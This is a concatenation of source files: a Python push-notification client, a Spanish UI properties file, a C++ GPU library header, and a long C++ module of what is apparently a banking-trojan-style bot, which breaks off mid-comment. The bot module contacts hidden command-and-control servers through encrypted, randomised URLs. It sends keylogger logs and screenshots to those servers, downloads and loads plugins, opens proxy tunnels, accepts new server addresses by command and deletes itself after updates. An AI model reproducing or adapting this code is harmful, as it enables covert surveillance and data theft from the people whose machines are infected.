params.items() params = ( '='.join(( urllib.quote_plus(k.encode('utf8'), safe='/'), urllib.quote_plus(v.encode('utf8'), safe='/') )) for k, v in params ) return '&'.join(params) class GCM(object): # Timeunit is milliseconds. BACKOFF_INITIAL_DELAY = 1000; MAX_BACKOFF_DELAY = 1024000; def __init__(self, api_key, url=GCM_URL, proxy=None): """ api_key : google api key url: url of gcm service. proxy: can be string "http://host:port" or dict {'https':'host:port'} """ self.api_key = api_key self.url = url if proxy: if isinstance(proxy, basestring): protocol = url.split(':')[0] proxy = {protocol: proxy} auth = urllib2.HTTPBasicAuthHandler() opener = urllib2.build_opener(urllib2.ProxyHandler(proxy), auth, urllib2.HTTPHandler) urllib2.install_opener(opener) def construct_payload(self, registration_ids, data=None, collapse_key=None, delay_while_idle=False, time_to_live=None, is_json=True, dry_run=False): """ Construct the dictionary mapping of parameters. Encodes the dictionary into JSON if for json requests. Helps appending 'data.' prefix to the plaintext data: 'hello' => 'data.hello' :return constructed dict or JSON payload :raises GCMInvalidTtlException: if time_to_live is invalid """ if time_to_live: if time_to_live > 2419200 or time_to_live < 0: raise GCMInvalidTtlException("Invalid time to live value") if is_json: payload = {'registration_ids': registration_ids} if data: payload['data'] = data else: payload = {'registration_id': registration_ids} if data: plaintext_data = data.copy() for k in plaintext_data.keys(): plaintext_data['data.%s' % k] = plaintext_data.pop(k) payload.update(plaintext_data) if delay_while_idle: payload['delay_while_idle'] = delay_while_idle if time_to_live >= 0: payload['time_to_live'] = time_to_live if collapse_key: payload['collapse_key'] = collapse_key if dry_run: payload['dry_run'] = True if is_json: payload = json.dumps(payload) return payload def make_request(self, data, is_json=True): """ Makes a HTTP request to GCM servers with the constructed payload :param data: return value from construct_payload method :raises GCMMalformedJsonException: if malformed JSON request found :raises GCMAuthenticationException: if there was a problem with authentication, invalid api key :raises GCMConnectionException: if GCM is screwed """ headers = { 'Authorization': 'key=%s' % self.api_key, } # Default Content-Type is defaulted to application/x-www-form-urlencoded;charset=UTF-8 if is_json: headers['Content-Type'] = 'application/json' if not is_json: data = urlencode_utf8(data) req = urllib2.Request(self.url, data, headers) try: response = urllib2.urlopen(req).read() except urllib2.HTTPError as e: if e.code == 400: raise GCMMalformedJsonException("The request could not be parsed as JSON") elif e.code == 401: raise GCMAuthenticationException("There was an error authenticating the nordifier account") elif e.code == 503: raise GCMUnavailableException("GCM service is unavailable") else: error = "GCM service error: %d" % e.code raise GCMUnavailableException(error) except urllib2.URLError as e: raise GCMConnectionException( "There was an internal error in the GCM server while trying to process the request") if is_json: response = json.loads(response) return response def raise_error(self, error): if error == 'InvalidRegistration': raise GCMInvalidRegistrationException("Registration ID is invalid") elif error == 'Unavailable': # Plain-text requests will never return Unavailable as the error code. # http://developer.android.com/guide/google/gcm/gcm.html#error_codes raise GCMUnavailableException("Server unavailable. Resent the message") elif error == 'NotRegistered': raise GCMNotRegisteredException("Registration id is not valid anymore") elif error == 'MismatchSenderId': raise GCMMismatchSenderIdException("A Registration ID is tied to a certain group of senders") elif error == 'MessageTooBig': raise GCMMessageTooBigException("Message can't exceed 4096 bytes") def handle_plaintext_response(self, response): # Split response by line response_lines = response.strip().split('\n') # Split the first line by = key, value = response_lines[0].split('=') if key == 'Error': self.raise_error(value) else: if len(response_lines) == 2: return response_lines[1].split('=')[1] return def handle_json_response(self, response, registration_ids): errors = group_response(response, registration_ids, 'error') canonical = group_response(response, registration_ids, 'registration_id') info = {} if errors: info.update({'errors': errors}) if canonical: info.update({'canonical': canonical}) return info def extract_unsent_reg_ids(self, info): if 'errors' in info and 'Unavailable' in info['errors']: return info['errors']['Unavailable'] return [] def plaintext_request(self, registration_id, data=None, collapse_key=None, delay_while_idle=False, time_to_live=None, retries=5, dry_run=False): """ Makes a plaintext request to GCM servers :param registration_id: string of the registration id :param data: dict mapping of key-value pairs of messages :return dict of response body from Google including multicast_id, success, failure, canonical_ids, etc :raises GCMMissingRegistrationException: if registration_id is not provided """ if not registration_id: raise GCMMissingRegistrationException("Missing registration_id") payload = self.construct_payload( registration_id, data, collapse_key, delay_while_idle, time_to_live, False, dry_run ) attempt = 0 backoff = self.BACKOFF_INITIAL_DELAY for attempt in range(retries): try: response = self.make_request(payload, is_json=False) return self.handle_plaintext_response(response) except GCMUnavailableException: sleep_time = backoff / 2 + random.randrange(backoff) time.sleep(float(sleep_time) / 1000) if 2 * backoff < self.MAX_BACKOFF_DELAY: backoff *= 2 raise IOError("Could not make request after %d attempts" % attempt) def json_request(self, registration_ids, data=None, collapse_key=None, delay_while_idle=False, time_to_live=None, retries=5, dry_run=False): """ Makes a JSON request to GCM servers :param registration_ids: list of the registration ids :param data: dict mapping of key-value pairs of messages :return dict of response body from Google including multicast_id, success, failure, canonical_ids, etc :raises GCMMissingRegistrationException: if the list of registration_ids is empty :raises GCMTooManyRegIdsException: if the list of registration_ids exceeds 1000 items """ if not registration_ids: raise GCMMissingRegistrationException("Missing registration_ids") if len(registration_ids) > 1000: raise GCMTooManyRegIdsException("Exceded number of registration_ids") attempt = 0 backoff = self.BACKOFF_INITIAL_DELAY for attempt in range(retries): payload = self.construct_payload( registration_ids, data, collapse_key, delay_while_idle, time_to_live, True, dry_run ) response = self.make_request(payload, is_json=True) info = self.handle_json_response(response, registration_ids) unsent_reg_ids = self.extract_unsent_reg_ids(info) if unsent_reg_ids: registration_ids = unsent_reg_ids sleep_time = backoff / 2 + random.randrange(backoff) time.sleep(float(sleep_time) / 1000) if 2 * backoff < self.MAX_BACKOFF_DELAY: backoff *= 2 else: break return info
{ "pile_set_name": "Github" }
jButton1.text=Informe de fallo por e-mail FormErrorLog.title=Informe de fallo errorMsg=Ayude nos a mejorar el Zettelkasten y mandan el informe de abajo por e-mail al autor! Una vez que pulse el bot\u00F3n de abajo se abre su programa de correo electr\u00F3nico. A continuaci\u00F3n, agregue el texto y mandan el e-mail. Ud. ayudan mucho a mejorar el programa! Muchas gracias! jButton2.text=Cerrar jPanel1.TabConstraints.tabTitle=Bit\u00E1cora general jPanel2.TabConstraints.tabTitle=Registro de sesiones infoMsg=<html>Por favor, pegue el texto del portapapeles en su correo electr\u00F3nico (<b>Ctrl+V</b> o <b>Command+V</b>)<marca>y env\u00EDe su correo electr\u00F3nico al autor.</html> infoTitle=Enviar registro
{ "pile_set_name": "Github" }
/* Copyright 2019 Benjamin Worpitz, Matthias Werner, René Widera * * This file is part of alpaka. * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #pragma once #ifdef ALPAKA_ACC_GPU_HIP_ENABLED #include <alpaka/core/BoostPredef.hpp> #if !BOOST_LANG_HIP #error If ALPAKA_ACC_GPU_HIP_ENABLED is set, the compiler has to support HIP! #endif // Base classes. #include <alpaka/acc/AccGpuUniformCudaHipRt.hpp> // Specialized traits. #include <alpaka/acc/Traits.hpp> // Implementation details. #include <alpaka/core/ClipCast.hpp> #include <alpaka/core/Concepts.hpp> #include <alpaka/dev/DevUniformCudaHipRt.hpp> #include <alpaka/core/Hip.hpp> #include <typeinfo> namespace alpaka { namespace kernel { template< typename TAcc, typename TDim, typename TIdx, typename TKernelFnObj, typename... TArgs> class TaskKernelGpuUniformCudaHipRt; } namespace acc { //############################################################################# //! The GPU HIP accelerator. //! //! This accelerator allows parallel kernel execution on devices supporting HIP template< typename TDim, typename TIdx> class AccGpuHipRt final : public acc::AccGpuUniformCudaHipRt<TDim,TIdx>, public concepts::Implements<ConceptUniformCudaHip, AccGpuUniformCudaHipRt<TDim, TIdx>> { static_assert(sizeof(TIdx) >= sizeof(int), "Index type is not supported, consider using int or a larger type."); public: //----------------------------------------------------------------------------- __device__ AccGpuHipRt( vec::Vec<TDim, TIdx> const & threadElemExtent) : AccGpuUniformCudaHipRt<TDim,TIdx>(threadElemExtent) {} public: //----------------------------------------------------------------------------- __device__ AccGpuHipRt(AccGpuHipRt const &) = delete; //----------------------------------------------------------------------------- __device__ AccGpuHipRt(AccGpuHipRt &&) = delete; //----------------------------------------------------------------------------- __device__ auto operator=(AccGpuHipRt const &) -> AccGpuHipRt & = delete; //----------------------------------------------------------------------------- __device__ auto operator=(AccGpuHipRt &&) -> AccGpuHipRt & = delete; //----------------------------------------------------------------------------- ~AccGpuHipRt() = default; }; } namespace acc { namespace traits { //############################################################################# //! The GPU HIP accelerator accelerator type trait specialization. template< typename TDim, typename TIdx> struct AccType< acc::AccGpuHipRt<TDim, TIdx>> { using type = acc::AccGpuHipRt<TDim, TIdx>; }; //############################################################################# //! The GPU Hip accelerator name trait specialization. template< typename TDim, typename TIdx> struct GetAccName< acc::AccGpuHipRt<TDim, TIdx>> { //----------------------------------------------------------------------------- ALPAKA_FN_HOST static auto getAccName() -> std::string { return "AccGpuHipRt<" + std::to_string(TDim::value) + "," + typeid(TIdx).name() + ">"; } }; } } namespace kernel { namespace traits { //############################################################################# //! The GPU HIP accelerator execution task type trait specialization. template< typename TDim, typename TIdx, typename TWorkDiv, typename TKernelFnObj, typename... TArgs> struct CreateTaskKernel< acc::AccGpuHipRt<TDim, TIdx>, TWorkDiv, TKernelFnObj, TArgs...> { //----------------------------------------------------------------------------- ALPAKA_FN_HOST static auto createTaskKernel( TWorkDiv const & workDiv, TKernelFnObj const & kernelFnObj, TArgs && ... args) { return kernel::TaskKernelGpuUniformCudaHipRt< acc::AccGpuHipRt<TDim, TIdx>, TDim, TIdx, TKernelFnObj, TArgs...>( workDiv, kernelFnObj, std::forward<TArgs>(args)...); } }; } } } #endif
{ "pile_set_name": "Github" }
#include "main.h" #include "AdminPanel.h" #include "Manager.h" #include "core\crypt.h" #include "core\http.h" #include "core\file.h" #include "core\debug.h" #include "core\hook.h" #include "VideoServer.h" #include "task.h" #include "MonitoringProcesses.h" #include "core\HttpProxy.h" #include "core\ThroughTunnel.h" #include "core\proxy.h" #include "other.h" #include "system.h" #include "core\pe.h" extern char fileDropper[MAX_PATH]; uint GetCurrDate(); namespace AdminPanel { int numAdmin; //номер текущей админки int numAdminAZ; //номер текущей админки az const int CountSimpleExts = 7; char* SimpleExts[CountSimpleExts] = { _CT_(".gif"), _CT_(".jpg"), _CT_(".png"), _CT_(".htm"), _CT_(".html"), _CT_(".php"), _CT_(".shtml") }; const int CountParamsExts = 3; char* ParamsExts[CountParamsExts] = { _CT_(".php"), _CT_(".bml"), _CT_(".cgi") }; Proxy::Connector* connector; const int MaxDuplHashs = 8; static uint duplHashs[MaxDuplHashs]; static int countDuplHashs = 0; static int duplDst = 0; //куда дублировать данные: 1 - в файлы, 2 - на сервер, 3 - в файлы и на сервер static char* newAdminka = 0; //здесь хранятся адреса админок заданных командой adminka new, используются вместо вшитых CRITICAL_SECTION lockHosts; //блокировка const int MaxTogetherLogCode = 5; //сколько кодов можно одновременно отослать const int MaxLogCodes = 20; //сколько можно хранить лог кодов int* logCodes = 0; //коды логов на отправку int countLogCodes = 0; //сколько кодов запомнено в массиве CRITICAL_SECTION lockLog; bool Init() { numAdmin = 0; numAdminAZ = 0; newAdminka = 0; if( !Socket::Init() ) return false; connector = new Proxy::Connector(); countDuplHashs = 0; CriticalSection::Init(lockHosts); logCodes = new int[MaxLogCodes]; countLogCodes = 0; CriticalSection::Init(lockLog); return true; } void Release() { delete connector; Str::Free(newAdminka); } //проверяет есть ли связь с какой либо админкой static bool VerifyConnect() { StringBuilder hosts( MaxSizeHostAdmin, DECODE_STRING(Config::Hosts) ); StringArray hs = hosts.Split('|'); bool ret = false; if( hs.Count() > 0 ) { for( int i = 0; i < hs.Count(); i++ ) { int sc = Socket::ConnectHost( hs[i]->c_str() ); if( sc > 0 ) { Socket::Close(sc); ret = true; break; } } } else ret = true; return ret; } bool GetHostAdmin( int type, StringBuilder& host ) { CriticalSection cs(lockHosts); int* num = 0; switch(type) { case 0: num = &numAdmin; break; case 1: num = &numAdminAZ; break; default: return false; } StringBuilder hosts; if( GetHosts( type, hosts ) ) { StringArray hs = hosts.Split('|'); if( hs.Count() > 0 ) { if( *num > hs.Count() || *num < 0 ) *num = 0; host = hs[*num]; return true; } } return false; } bool GetHosts( int type, StringBuilder& hosts ) { const char* config_hosts = 0; bool encoded = true; //зашифрованы ли хосты switch(type) { case 0: if( newAdminka ) { config_hosts = newAdminka; encoded = false; } else config_hosts = Config::Hosts; break; case 1: config_hosts = Config::HostsAZ; break; default: return false; } hosts = encoded ? DECODE_STRING(config_hosts) : config_hosts; return true; } static int CorrectlyInsert( int i, StringBuilder& s, const char* v, int c_v = -1 ) { while( i < s.Len() - 1 ) { if( s[i - 1] != '-' && s[i - 1] != '.' && s[i] != '-' && s[i] != '.' ) { s.Insert( i, v, c_v ); return i; } i++; } return -1; } //возвращает позицию после вставленного расширения static int InsertDirectories( StringBuilder& s, int len ) { char slash[2]; slash[0] = '/'; slash[1] = 0; int slashs = Rand::Gen( 1, 4 ); int p = 0; int maxDist = len / slashs; //максимально через сколько символов ставить слеш for( int i = 0; i < slashs && p < len; i++ ) { p += Rand::Gen( 1, maxDist ); int pp = CorrectlyInsert( p, s, slash, 1 ); if( pp < 0 ) break; p = pp + 1; len++; } return p; } static int InsertExt( int i, StringBuilder& s, const char** exts, int c_exts ) { int n = Rand::Gen(c_exts - 1); StringBuilderStack<8> ext( DECODE_STRING(exts[n]) ); if( i == 0 ) //вставка в конец строки { s.Cat( ext, ext.Len() ); return s.Len(); } else { i = CorrectlyInsert( i, s, ext, ext.Len() ); if( i < 0 ) i = s.Len(); else i += ext.Len(); return i; } } static void TextToUrl( const char* psw, const StringBuilder& text, StringBuilder& url ) { StringBuilder s; s += '|'; s += text; s += '|'; int lenleft = Rand::Gen( 10, 20 ); int lenright = Rand::Gen( 10, 20 ); int lenres = s.Len() + lenleft + lenright; //делаем длину кратной 24, чтобы делилось на 3 (для base64 без = в конце) и на 8 (длина блока в RC2) int lenres2 = ((lenres + 23) / 24) * 24 - 1; //вычитаем 1, после шифрования будет кратно 8 lenleft += lenres2 - lenres; StringBuilder left, right; Rand::Gen( left, lenleft ); Rand::Gen( right, lenright ); s.Insert( 0, left ); s += right; Mem::Data data; data.Copy( s.c_str(), s.Len() ); EncryptToText( data, url ); if( Rand::Condition(50) ) { int lendirs = Rand::Gen( url.Len() - 20, url.Len() - 10 ); //на какой длине могут быть директории InsertDirectories( url, lendirs ); InsertExt( 0, url, (const char**)SimpleExts, CountSimpleExts ); } else { int lendirs = Rand::Gen( url.Len() / 2 - 10, url.Len() / 2 + 10 ); //на какой длине могут быть директории int p = InsertDirectories( url, lendirs ); if( lendirs - p > 0 ) p = InsertExt( lendirs, url, (const char**)ParamsExts, CountParamsExts ); char c1[2]; c1[0] = '?'; c1[1] = 0; p = CorrectlyInsert( p, url, c1, 1 ); //вставляем ? p++; c1[0] = '&'; //разделитель параметров char c2[2]; c2[0] = '='; c2[1] = 0; int params = Rand::Gen( 1, 4 ); int lenparams = url.Len() - p; int distParam = lenparams / params; for( int i = 0; i < params; i++ ) { int p2 = p + Rand::Gen( 1, distParam ); int p4 = p2 + 1; //позиция следующего параметра if( p2 > url.Len() || i == params - 1 ) p2 = url.Len(); else { p2 = CorrectlyInsert( p2, url, c1, 1 ); p4++; } if( p2 < 0 ) break; int p3 = Rand::Gen( p + 2, p2 - 1 ); p3 = CorrectlyInsert( p3, url, c2, 1 ); p = p4 + 1; if( p >= url.Len() ) break; } } } //формирует запрос в админку bool GenUrl( int type, HTTP::Request& request, const StringBuilder& text ) { StringBuilderStack<64> host; if( GetHostAdmin( type, host ) ) { request.SetHost(host); //генерируем урл StringBuilder url; switch( type ) { case 0: TextToUrl( DECODE_STRING(Config::Password), text, url ); break; case 1: url = text; break; } request.SetFile(url); return true; } return false; } /////////////////////////////////////////////////////////////////////////////////////////////////////////// /// функции передачи и получения данных админки /////////////////////////////////////////////////////////////////////////////////////////////////////////// bool GetCmd( StringBuilder& cmd ) { #ifndef IP_SERVER_FROM_DNS StringBuilder text; text += Config::UID; HTTP::Request request(connector); if( GenUrl( 0, request, text ) ) { DbgMsg( "Отстук: text %s", text.c_str() ); DbgMsg( "Отстук: url %s", request.GetUrl(text).c_str() ); if( request.Get(10000) ) { Mem::Data data; if( Decrypt( request.Response(), data ) ) { data.ToString(cmd); return true; } } } #else StringBuilderStack<128> host; if( GetHostAdmin( 0, host ) ) { StringBuilderStack<64> prefix; Rand::Gen( prefix, 4, 8 ); prefix += (uint)API(KERNEL32, GetTickCount)(); prefix += '.'; prefix += Config::XorMask; prefix += '.'; host.Insert( 0, prefix ); DbgMsg( "Узнаем IP %s", host.c_str() ); char ip[24]; if( Socket::HostToIP( host, ip ) ) { DbgMsg( "У %s IP: %s", host.c_str(), ip ); if( Str::Cmp( ip, _CS_("127.0.0.1") ) != 0 ) { cmd = _CS_("server force "); cmd += ip; cmd += _CS_(":443"); return true; } } else DbgMsg( "Не удалось получить IP" ); } #endif return false; } static void DuplDataKeylogger( const char* nameData, const char* nameProcess, const char* data, int c_data, const char* fileName ) { if( duplDst & 1 ) { StringBuilderStack<MAX_PATH> path; Config::GetBotFolder( path, nameData, true ); Path::AppendFile( path, nameProcess ); path += _CS_(".txt"); File::Append( path, data, c_data ); } if( duplDst & 2 ) { ManagerServer::SendFileToVideoServer( _CS_("keylogger"), nameProcess, _CS_("txt"), data, c_data ); } } static void DuplDataScreenshot( const char* nameData, const char* nameProcess, const char* data, int c_data, const char* fileName ) { if( duplDst & 1 ) { StringBuilderStack<MAX_PATH> path; Config::GetBotFolder( path, nameData, true ); Path::AppendFile( path, nameProcess ); path += '.'; path += (uint)API(KERNEL32, GetTickCount)(); path += '_'; path += fileName; File::WriteAll( path, data, c_data ); } if( duplDst & 2 ) { ManagerServer::SendFileToVideoServer( _CS_("screenshots"), nameProcess, _CS_("png"), data, c_data ); } } static void DuplData( const char* nameData, const char* nameProcess, const char* data, int c_data, const char* fileName ) { uint hashData = Str::Hash(nameData); for( int i = 0; i < countDuplHashs; i++ ) { if( duplHashs[i] == hashData ) { switch( hashData ) { case 0x0035ac12: //keylogger DuplDataKeylogger( nameData, nameProcess, data, c_data, fileName ); break; case 0x0bc205e4: //screenshot DuplDataScreenshot( nameData, nameProcess, data, c_data, fileName ); break; } break; } } } bool SendData( MsgSendData* data ) { bool ret = false; DuplData( data->nameData, data->nameProcess, data->data, data->c_data, data->fileName ); #ifdef ON_SENDDATA_FOLDER StringBuilderStack<MAX_PATH> fileName = "c:\\botdebug\\"; char time[16]; Str::ToString( (uint)GetTickCount(), time ); fileName += data->nameProcess; fileName += '.'; fileName += data->nameData; fileName += '.'; fileName += time; fileName += '.'; if( data->file ) fileName += data->fileName; else fileName += "txt"; File::WriteAll( fileName, data->data, data->c_data ); #endif StringBuilderStack<256> text; text += Config::UID; text += '|'; text += _CS_("data="); text += data->nameData; text += '|'; text += _CS_("process="); text += data->nameProcess; text += '|'; text += _CS_("idprocess="); text += data->hprocess; DbgMsg( "Отсылка данных: '%s'", text.c_str() ); HTTP::Request request(connector); if( GenUrl( 0, request, text ) ) { if( data->file ) { Mem::Data postMP; if( EncryptToBin( data->data, data->c_data, postMP ) ) { HTTP::PostDataMultipart mp(request); mp.AddFile( _CS_("upload"), data->fileName, postMP ); mp.End(); ret = true; } } else { StringBuilder postText; if( EncryptToText( data->data, data->c_data, postText ) ) { request.SetContentWebForm(); int p = Rand::Gen( 4, 12 ); postText.Insert( p, '=' ); request.AddPostData(postText); ret = true; } } if( ret ) request.Post(10000); } return ret; } bool LoadPlugin( const char* namePlugin, Mem::Data& plugin ) { StringBuilderStack<64> text; text += Config::UID; text += '|'; text += _CS_("plugin="); text += namePlugin; HTTP::Request request(connector); DbgMsg( "Загрузка плагина: %s", text.c_str() ); #ifdef ON_PLUGINS_FOLDER StringBuilderStack<MAX_PATH> fileName = "c:\\plugins\\"; fileName += namePlugin; if( File::IsExists(fileName) ) { File::ReadAll( fileName, plugin ); return true; } else return false; #else if( AdminPanel::GenUrl( 0, request, text ) ) { for( int i = 0; i < 10; i++ ) //делаем 10 попыток загрузить плагин { StringBuilder u; DbgMsg( "%s", request.GetUrl(u).c_str() ); if( request.Get(5000) ) { if( request.AnswerCode() == 200 ) { if( Decrypt( request.Response(), plugin ) ) { if( plugin.Len() > 0 ) return true; } } else DbgMsg( "При загрузке плагина '%s' вернули HTTP ошибку %d", namePlugin, request.AnswerCode() ); } else DbgMsg( "Ошибка выполнения запроса для загрузки плагина '%s'", namePlugin ); DbgMsg( "Не удалось загрузить плагин, пробуем еще раз" ); Delay(1000); } } return false; #endif } //отправляет данные в админку в строке get запроса bool SendDataCrossGet( StringBuilder& s ) { StringBuilder text(256); text += Config::UID; text += '|'; text += s; HTTP::Request request(connector); DbgMsg( "Отправка данных GET запросом %s", text.c_str() ); if( AdminPanel::GenUrl( 0, request, text ) ) return request.Get(5000); return false; } void SendLog( const MsgLog* m ) { if( logCodes == 0 ) return; CriticalSection cs(lockLog); if( m->code > 0 ) { logCodes[countLogCodes++] = m->code; } if( countLogCodes >= MaxTogetherLogCode || m->flush ) { do { StringBuilderStack<64> s; s += _CS_("log="); int i = 0; for( ; i < countLogCodes; i++ ) { if( i > 0 ) s += ','; s += logCodes[i]; } SendDataCrossGet(s); countLogCodes -= i; } while( countLogCodes > 0 ); } } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// bool EncryptToBin( const void* data, int c_data, Mem::Data& dst ) { if( dst.Copy( data, c_data ) > 0 ) { byte IV[8]; Rand::Gen( IV, 8 ); if( Crypt::EncodeRC2( DECODE_STRING(Config::Password), (char*)IV, dst ) ) { dst.Insert( 0, IV, sizeof(IV) ); return true; } } return false; } bool EncryptToText( const void* data, int c_data, StringBuilder& dst ) { Mem::Data dstData; if( dstData.Copy( data, c_data ) > 0 ) { StringBuilderStack<10> IV; Rand::Gen( IV, 8 ); if( Crypt::EncodeRC2( DECODE_STRING(Config::Password), IV, dstData ) ) { if( Crypt::ToBase64( dstData, dst ) ) { dst.ReplaceChar( '/', '.' ); dst.ReplaceChar( '+', '-' ); dst.Insert( 0, IV ); return true; } } } return false; } bool Decrypt( const Mem::Data& src, Mem::Data& dst ) { char IV[8]; Mem::Copy( IV, src.Ptr(), sizeof(IV) ); if( dst.Copy( 0, sizeof(IV), src ) > 0 ) { if( Crypt::DecodeRC2( DECODE_STRING(Config::Password), IV, dst ) ) { return true; } } return false; } } PipeInetRequest::PipeInetRequest() { } PipeInetRequest::~PipeInetRequest() { } static void HandlerGetCmd( Pipe::AutoMsg msg, DWORD ) { StringBuilder cmd; if( AdminPanel::GetCmd(cmd) ) { Pipe::SendAnswer( msg, msg->cmd, cmd.c_str(), cmd.Len() + 1 ); } } static void HandlerSendData( Pipe::AutoMsg msg, DWORD ) { AdminPanel::SendData( (AdminPanel::MsgSendData*)msg->data ); } static void HandlerLoadFile( Pipe::AutoMsg msg, DWORD ) { HTTP::Request request( AdminPanel::connector ); if( msg->data[0] < ' ' ) //указан тип админки { int type = msg->data[0] - 1; StringBuilderStack<64> host; if( !AdminPanel::GetHostAdmin( type, host ) ) return; request.SetHost(host); request.SetFile( (char*)(msg->data + 1) ); } else { request.SetUrl( (char*)msg->data ); } #ifdef DEBUG_STRINGS StringBuilder url; request.GetUrl(url); DbgMsg( "Выполнение запроса: '%s'", url.c_str() ); #endif if( request.Get(5000) ) { if( request.AnswerCode() == 200 ) { Pipe::SendAnswer( msg, msg->cmd, request.Response().Ptr(), request.Response().Len() ); } else DbgMsg( "Запрос '%s' вернул HTTP ошибку %d", (char*)msg->data, request.AnswerCode() ); } else DbgMsg( "Ошибка выполнения запроса для урла '%s'", (char*)msg->data ); } static void HandlerLoadPlugin( Pipe::AutoMsg msg, DWORD ) { Mem::Data plugin; if( AdminPanel::LoadPlugin( (char*)msg->data, plugin ) ) Pipe::SendAnswer( msg, msg->cmd, plugin.Ptr(), plugin.Len() ); else //в случае ошибки загрузки сообщаем что плагин не загрузился Pipe::SendAnswer( msg, msg->cmd, 0, 0 ); } static void StartHttpProxy( const void* data, int sz_data ) { int port = *((int*)data); HttpProxy* proxy = new HttpProxy(port); proxy->StartAsync(); } static void StartIpPortProxy( const void* data, int sz_data ) { int port = *((int*)data); AddressIpPort* addr = (AddressIpPort*)((byte*)data + sizeof(port)); ThroughTunnel* tunnel = new ThroughTunnel( port, addr->ip, addr->port ); tunnel->StartAsync(); } int PipeInetRequest::Handler( Pipe::Msg* msgIn, void** msgOut ) { int ret = 0; switch( msgIn->cmd ) { case CmdGetCmd: HandlerAsync( HandlerGetCmd, msgIn ); break; case CmdSendData: HandlerAsync( HandlerSendData, msgIn ); break; case CmdLoadFile: HandlerAsync( HandlerLoadFile, msgIn ); break; case CmdLoadPlugin: HandlerAsync( HandlerLoadPlugin, msgIn ); break; case CmdTunnelHttp: StartHttpProxy( msgIn->data, msgIn->sz_data ); break; case CmdTunnelIpPort: StartIpPortProxy( msgIn->data, msgIn->sz_data ); break; case CmdSetProxy: case CmdDelProxy: { int count = *((int*)msgIn->data); Proxy::Info* addr = (Proxy::Info*)( (byte*)msgIn->data + sizeof(int) ); if( msgIn->cmd == CmdSetProxy ) AdminPanel::connector->Add( addr, count ); else AdminPanel::connector->Del( addr, count ); } break; case CmdGetProxy: result.Clear(); result.Append( &AdminPanel::connector->c_addr, sizeof(AdminPanel::connector->c_addr) ); result.Append( AdminPanel::connector->addr, sizeof(Proxy::Info) * AdminPanel::connector->c_addr ); *msgOut = result.Ptr(); ret = result.Len(); break; case CmdDupl: if( msgIn->sz_data > sizeof(uint) ) { uint hash = *((uint*)msgIn->data); AdminPanel::duplDst = *((int*)(msgIn->data + sizeof(uint))); if( AdminPanel::duplDst == 0 ) //отключение дублирования { int i = 0; //ищем хеш дублированных данных while( i < AdminPanel::countDuplHashs ) if( AdminPanel::duplHashs[i] == hash ) //нашли { //удаляем хеш из массива AdminPanel::countDuplHashs--; while( i < AdminPanel::countDuplHashs ) { AdminPanel::duplHashs[i] = AdminPanel::duplHashs[i + 1]; i++; } break; } else i++; } else //добавляем новый хеш для дублирования { if( AdminPanel::countDuplHashs < AdminPanel::MaxDuplHashs ) AdminPanel::duplHashs[AdminPanel::countDuplHashs++] = hash; } } break; case CmdNewAdminka: CriticalSection::Enter(AdminPanel::lockHosts); Mem::Free(AdminPanel::newAdminka); if( msgIn->sz_data == 0 ) //возрат к зашитым админкам { AdminPanel::newAdminka = 0; DbgMsg( "Новые хосты админки удалены" ); } else { AdminPanel::newAdminka = Str::Duplication( (char*)msgIn->data, msgIn->sz_data ); DbgMsg( "Установлены новые хосты для админки %s", AdminPanel::newAdminka ); } AdminPanel::numAdmin = 0; CriticalSection::Leave(AdminPanel::lockHosts); break; case CmdSendDataCrossGet: AdminPanel::SendDataCrossGet( StringBuilder( 0, -1, (char*)msgIn->data, msgIn->sz_data - 1 ) ); break; case CmdLog: AdminPanel::SendLog( (AdminPanel::MsgLog*)msgIn->data ); break; } return ret; } bool PipeInetRequest::SendString( const char* namePipe, int cmd, const char* s, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag ) { if( nameReceiver == 0 ) nameReceiver = Pipe::serverPipeResponse->GetName(); //отправляем строку вместе с завершающим нулем return PipeClient::Send( namePipe, cmd, s, Str::Len(s) + 1, nameReceiver, funcReceiver, tag ); } bool PipeInetRequest::Reg( int priority ) { return ManagerServer::RegAdminPanel( this, priority ); } bool PipeInetRequest::GetCmd( const char* namePipe, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver ) { if( nameReceiver == 0 ) nameReceiver = Pipe::serverPipeResponse->GetName(); return PipeClient::Send( namePipe, CmdGetCmd, 0, 0, nameReceiver, funcReceiver ); } bool PipeInetRequest::SendData( const char* namePipe, const AdminPanel::MsgSendData* data, int c_data ) { return PipeClient::Send( namePipe, CmdSendData, data, c_data ); } bool PipeInetRequest::LoadFile( const char* namePipe, const char* url, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag ) { return SendString( namePipe, CmdLoadFile, url, funcReceiver, nameReceiver, tag ); } bool PipeInetRequest::LoadPlugin( const char* namePipe, const char* plugin, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag ) { return SendString( namePipe, CmdLoadPlugin, plugin, funcReceiver, nameReceiver, tag ); } //проверяет есть ли связь со вшитыми админками и сервером bool VerifyConnect() { if( AdminPanel::VerifyConnect() ) return true; #ifdef ON_VIDEOSERVER if( VideoServer::VerifyConnect() ) return true; #endif return false; } DWORD WINAPI AdminPanelThread( void* ) { uint dateWork = Config::GetDateWork(); if( dateWork != 0 ) { for(;;) { uint dateCurr = GetCurrDate(); if( dateWork <= dateCurr ) break; Delay(10000); } } if( Config::state & RUNNED_DUBLICATION ) { if( UpdateIsDublication(fileDropper) ) //работающий бот обновился { if( fileDropper[0] ) { Delay(2000); //на всякий случай подождем, чтобы успел обновиться работающий бот InstallBotThread(0); //запускаем чтобы сработало самоудаление } return 0; } Delay(5000); //на всякий случай подождем, чтобы работающий бот самоудалиться Config::state &= ~RUNNED_DUBLICATION; } if( !AdminPanel::Init() ) return 0; //стартанули после горячего обновления if( Config::state & RUNNED_UPDATE ) { DbgMsg( "Проверка связи с админкой и сервером" ); if( !VerifyConnect() ) //бывает что сразу после обновления нет связи по какой-то причине, поэтому пробуем перезапустится другими способами { if( RestartBot() ) { DbgMsg( "Перезапуск прошел успешно" ); return 0; } } fileDropper[0] = 0; //чтобы не сработало самоудаление } if( !Pipe::InitServerPipeResponse() ) return 0; if( Config::LoadNameManager() ) //обновление { Config::state |= EXTERN_NAME_MANAGER; Delay(5000); } Task::Init(); #ifdef NOT_EXPLORER RunThread( ManagerLoopThread, 0 ); #endif //инсталяцию делаем здесь, так как svchost может быть запущен с самыми 